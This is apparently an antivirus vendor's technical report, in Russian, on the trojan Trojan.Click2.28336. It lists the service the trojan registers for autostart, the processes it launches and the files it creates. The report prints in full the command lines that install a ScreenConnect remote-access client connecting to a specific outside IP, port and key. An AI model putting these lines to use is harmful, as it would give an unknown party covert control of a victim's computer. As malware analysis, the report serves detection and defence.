Trojan.Click2.28336

Техническая информация

Для обеспечения автозапуска и распространения:

Создает следующие сервисы:

[<HKLM>\SYSTEM\ControlSet001\Services\ScreenConnect Guest Service (e7586fc3629fd414)] 'Start' = '00000002'

Вредоносные функции:

Создает и запускает на исполнение:

%PROGRAM_FILES%\ScreenConnect Guest Service (e7586fc3629fd414)\Elsinore.ScreenConnect.GuestService.exe "?y=Guest&h=71.61.209.154&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQAPWgxodcU5CpdRfBoiJ6J0jgnzqTt75IZ9TGHnMeWdfN0DdbDlqQJfnZNYI4kEfHPQwJ%2fFyT0wYWfv%2bVylNlSXcbVOFYKZYv6c2z732%2fsItHdVHzKdxkoHBVwuBMAN31cog6urgEGd1F74DV7hgSewZBbnRT4syRurQw1ACCOqv7GgNWa%2bFrOCLxthgSAs1QzhIzjpIvxQQ7%2biEMYbNj4yWlqCjYEUcGl85w0MXt5nj042qt5KIFtjTQSRLS5UkEIXzezQEdxAdM0o37MkiUtU5LMMCUd5u4LfZ%2bb0PdsXC9tS1n23T6PegH694wtpA2tfxks9DZXcMZRx5KTazBjq&a=ScreenConnect&t=%25COMPUTERNAME%25"
%PROGRAM_FILES%\ScreenConnect Guest Service (e7586fc3629fd414)\Elsinore.ScreenConnect.GuestClient.exe "?y=Guest&h=71.61.209.154&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQAPWgxodcU5CpdRfBoiJ6J0jgnzqTt75IZ9TGHnMeWdfN0DdbDlqQJfnZNYI4kEfHPQwJ%2fFyT0wYWfv%2bVylNlSXcbVOFYKZYv6c2z732%2fsItHdVHzKdxkoHBVwuBMAN31cog6urgEGd1F74DV7hgSewZBbnRT4syRurQw1ACCOqv7GgNWa%2bFrOCLxthgSAs1QzhIzjpIvxQQ7%2biEMYbNj4yWlqCjYEUcGl85w0MXt5nj042qt5KIFtjTQSRLS5UkEIXzezQEdxAdM0o37MkiUtU5LMMCUd5u4LfZ%2bb0PdsXC9tS1n23T6PegH694wtpA2tfxks9DZXcMZRx5KTazBjq&a=ScreenConnect&t=%25COMPUTERNAME%25" "-1"
%TEMP%\1.tmp\executor.exe
%TEMP%\1.tmp\setup.exe
%TEMP%\VSD2.tmp\dotnetfx\dotnetchk.exe

Запускает на исполнение:

<SYSTEM32>\msiexec.exe /V
<SYSTEM32>\msiexec.exe /i setup.msi

Изменения в файловой системе:

Создает следующие файлы:

C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\MAPPING.VER
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\INDEX.MAP
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\MAPPING1.MAP
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\OBJECTS.DATA
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\MAPPING2.MAP
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP15\drivetable.txt
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\drivetable.txt
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\$WinMgmt.CFG
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\INDEX.BTR
%WINDIR%\Installer\MSI3.tmp
%PROGRAM_FILES%\ScreenConnect Guest Service (e7586fc3629fd414)\Elsinore.ScreenConnect.GuestService.exe
%PROGRAM_FILES%\ScreenConnect Guest Service (e7586fc3629fd414)\Elsinore.ScreenConnect.GuestClient.exe
%PROGRAM_FILES%\ScreenConnect Guest Service (e7586fc3629fd414)\Elsinore.ScreenConnect.Windows.dll
%WINDIR%\Installer\{2135FFA9-0CFD-4DA7-BE86-D014EAE98E9F}\Icon.exe
%PROGRAM_FILES%\ScreenConnect Guest Service (e7586fc3629fd414)\Elsinore.ScreenConnect.WindowsClient.dll
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\RestorePointSize
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\OBJECTS.MAP
C:\Config.Msi\259c0.rbs
%PROGRAM_FILES%\ScreenConnect Guest Service (e7586fc3629fd414)\Elsinore.ScreenConnect.Core.dll
%PROGRAM_FILES%\ScreenConnect Guest Service (e7586fc3629fd414)\Elsinore.ScreenConnect.Client.dll
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\domain.txt
%WINDIR%\Installer\259be.msi
%TEMP%\24fac.msi
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\rp.log
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_NTUSER_S-1-5-19
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_NTUSER_S-1-5-18
%TEMP%\1.tmp\setup.exe
%TEMP%\1.tmp\executor.exe
%TEMP%\VSD2.tmp\dotnetfx\dotnetchk.exe
%TEMP%\1.tmp\setup.msi
%TEMP%\VSD2.tmp\install.log
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_USRCLASS_S-1-5-19
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_MACHINE_SOFTWARE
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_MACHINE_SECURITY
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_MACHINE_SYSTEM
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\ComDb.Dat
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_MACHINE_SAM
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_USRCLASS_S-1-5-20
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_NTUSER_S-1-5-20
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_NTUSER_S-1-5-21-2052111302-484763869-725345543-1003
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_.DEFAULT
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_USRCLASS_S-1-5-21-2052111302-484763869-725345543-1003